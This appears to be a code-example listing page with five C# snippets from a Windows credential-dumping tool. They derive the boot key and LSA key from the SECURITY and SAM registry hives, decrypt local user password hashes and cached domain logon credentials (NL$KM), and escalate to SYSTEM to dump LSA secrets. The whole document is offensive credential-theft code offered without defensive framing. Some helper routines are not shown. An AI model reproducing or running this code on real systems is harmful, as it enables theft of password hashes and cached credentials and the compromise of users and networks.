예제 #1
0
 ////////////////////////////////////////////////////////////////////////////////
 //
 ////////////////////////////////////////////////////////////////////////////////
 internal static Byte[] GetLsaKey(Byte[] bootKey)
 {
     Byte[] polEKList = (Byte[])Reg.ReadRegKey(Reg.HKEY_LOCAL_MACHINE, @"SECURITY\Policy\PolEKList", "");
     Byte[] lsaKey    = LSASecrets.DecryptLsa(polEKList, bootKey);
     lsaKey = lsaKey.Skip(68).Take(32).ToArray();
     return(lsaKey);
 }
예제 #2
0
 ////////////////////////////////////////////////////////////////////////////////
 //
 ////////////////////////////////////////////////////////////////////////////////
 internal SAM()
 {
     Byte[] bootKey = LSASecrets.GetBootKey();
     Console.WriteLine("[+] BootKey: {0}", System.BitConverter.ToString(bootKey).Replace("-", ""));
     Byte[] hBootKey = GetHBootKey(bootKey);
     Console.WriteLine("[+] HBootKey: {0}", System.BitConverter.ToString(hBootKey).Replace("-", ""));
     UserKeys[] userKeys = GetUserHashes(hBootKey);
     DecryptUserHashes(ref userKeys, hBootKey);
 }
예제 #3
0
        ////////////////////////////////////////////////////////////////////////////////
        //
        ////////////////////////////////////////////////////////////////////////////////
        internal CacheDump()
        {
            String logonCount = (String)Reg.ReadRegKey(Reg.HKEY_LOCAL_MACHINE, @"Software\Microsoft\Windows NT\CurrentVersion\Winlogon", "CachedLogonsCount");

            Console.WriteLine("[*] {0} Cached Logons Set", logonCount);

            Byte[] bootKey = LSASecrets.GetBootKey();
            Console.WriteLine("[+] BootKey : " + BitConverter.ToString(bootKey).Replace("-", ""));
            Byte[] lsaKey = LSASecrets.GetLsaKey(bootKey);
            Console.WriteLine("[+] LSA Key : " + BitConverter.ToString(lsaKey).Replace("-", ""));
            Byte[] nlkm = GetNlkm(lsaKey);
            Console.WriteLine("[+] LSA Key : " + BitConverter.ToString(nlkm).Replace("-", ""));
            GetCache(nlkm);
        }
예제 #4
0
 //Checked
 public static void DumpLSA()
 {
     try
     {
         CheckPrivileges checkSystem = new CheckPrivileges();
         if (!checkSystem.GetSystem())
         {
             Console.WriteLine("[-] GetSystem Failed");
             return;
         }
         LSASecrets lsaSecrets = new LSASecrets();
         lsaSecrets.DumpLSASecrets();
     }
     catch (Exception ex)
     {
         Console.WriteLine("[-] {0}", ex.Message);
     }
 }
예제 #5
0
 ////////////////////////////////////////////////////////////////////////////////
 //
 ////////////////////////////////////////////////////////////////////////////////
 private static Byte[] GetNlkm(Byte[] lsaKey)
 {
     Byte[] encryptedNlkm = (Byte[])Reg.ReadRegKey(Reg.HKEY_LOCAL_MACHINE, @"SECURITY\Policy\Secrets\NL$KM\CurrVal", "");
     return(LSASecrets.DecryptLsa(encryptedNlkm, lsaKey));
 }